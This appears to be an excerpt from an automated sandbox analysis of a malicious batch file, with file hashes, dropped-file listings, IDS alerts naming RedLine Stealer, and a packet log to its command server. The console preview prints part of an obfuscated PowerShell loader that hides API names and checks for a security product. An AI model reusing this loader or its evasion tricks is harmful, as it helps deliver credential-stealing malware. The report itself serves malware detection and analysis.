Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEEE6.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\Temp\tmpEEE7.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\Temp\tmpEEF8.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\Temp\tmpEEF9.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\Temp\tmpEEFA.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\Temp\tmpEEFB.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (2253), with CRLF line terminators
Category:	dropped
Size (bytes):	2255
Entropy (8bit):	5.801728142622402
Encrypted:	false
SSDEEP:	48:KH5pbiP/62YWjRKRoRxgBMTBCAbkFkaaWn3ykBjvJ76t/qqW/GM:43iH1Yqoi7gBQBCAUaWn3xjR76lqtGM
MD5:	E6CCFA3D802C8D7ABA5881F01FF1DC18
SHA1:	E3AB9DACE08301B8A414842F9752052EF719F522
SHA-256:	DE4C7FE35EF206914458F1E49C84F2D19A7E0D09C75FCFE3EFCB45997E462C84
SHA-512:	424A13DE09A81E44B0F2F3D3D920D8FDCCBBD814E348B65465E3198C7D4C693A323C3E78DFD247F91BC67BFBFDEBC4DA9E1F471C4645DDDD79697ED479C59442
Malicious:	false
Preview:	$host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\z52PO0048857.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll'

Static File Info

General

File type:	DOS batch file, ASCII text, with very long lines (61338), with CRLF line terminators
Entropy (8bit):	6.0171147457103045
TrID:
File name:	z52PO0048857.cmd
File size:	77'049 bytes
MD5:	832dd29f7ffd54f656233e56c588b4fd
SHA1:	fd306aaaa8b2065f80773cf440e245f3120eef09
SHA256:	3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d
SHA512:	b5098bc78bb21a8a003b2b5a1c4950ff3a791e9a8543be51c7885b95999a1acef6bdffda9bb92ca2734f8b0f54a1572d9fb3dbdba322abae2d1057273529be10
SSDEEP:	1536:udOgvVCMvAg6DhWpHjd62+6LiIB8KUDPGJ/oJzy:wVLAjDhWpjTfuPWIW
TLSH:	EC73F1F856903D8C1E38AE84FBE539B5917174B014D06CF8A585B1C3729C72BEB9D12E
File Content Preview:	@echo off..set "oCyguK=setoCyguK oCyguKgXoCyguKnfoCyguK=oCyguK1 &oCyguK&oCyguK oCyguKstoCyguKaoCyguKrtoCyguK "oCyguK" oCyguK/moCyguKioCyguKnoCyguK oCyguK"..set "Dlpugg=&Dlpugg&Dlpugg eDlpuggxitDlpugg"..set "uhurmU=if uhurmUnotuhurmU duhurmUefuhurmUinuhurm

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-16T20:38:59.822671+0200	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	51.195.145.77	57942	192.168.2.8	49705	TCP
2024-10-16T20:38:59.822671+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	51.195.145.77	57942	192.168.2.8	49705	TCP
2024-10-16T20:39:09.385121+0200	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.8	49704	51.195.145.77	57942	TCP
2024-10-16T20:39:14.416665+0200	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	51.195.145.77	57942	192.168.2.8	49704	TCP
2024-10-16T20:39:15.250494+0200	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.8	49705	51.195.145.77	57942	TCP
2024-10-16T20:39:19.145390+0200	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.8	49707	51.195.145.77	57942	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 16, 2024 20:39:08.250518084 CEST	49704	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:08.518142939 CEST	57942	49704	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:08.518255949 CEST	49704	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:08.564331055 CEST	49704	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:08.569432020 CEST	57942	49704	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:08.916565895 CEST	49704	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:08.921542883 CEST	57942	49704	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:09.331527948 CEST	57942	49704	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:09.385121107 CEST	49704	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:14.411209106 CEST	49704	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:14.411583900 CEST	49705	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:14.416420937 CEST	57942	49705	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:14.416517019 CEST	49705	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:14.416665077 CEST	57942	49704	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:14.416687965 CEST	49705	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:14.416759014 CEST	49704	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:14.416840076 CEST	49705	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:14.421447039 CEST	57942	49705	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:14.421669960 CEST	57942	49705	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:15.250380039 CEST	57942	49705	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:15.250411034 CEST	57942	49705	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:15.250494003 CEST	49705	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:15.250760078 CEST	57942	49705	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:15.250807047 CEST	57942	49705	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:15.250942945 CEST	49705	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:18.727482080 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:18.732403040 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:18.732497931 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:18.741471052 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:18.746325970 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.088661909 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.093570948 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093600988 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093640089 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093648911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093657970 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093667030 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.093687057 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.093693018 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093703985 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093709946 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.093781948 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093791008 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.093800068 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093810081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.093831062 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.093858957 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.098831892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.098855019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.098896980 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.098978996 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.099034071 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.099086046 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.099096060 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.099112988 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.099152088 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.143138885 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.145390034 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.191148043 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.191485882 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.239156008 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.239336014 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.287193060 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.287540913 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.309387922 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.309729099 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.314713955 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314724922 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314740896 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314759016 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314766884 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314811945 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.314852953 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314856052 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.314863920 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314872026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314882994 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314891100 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314914942 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.314915895 CEST	57942	49707	51.195.145.77	192.168.2.8
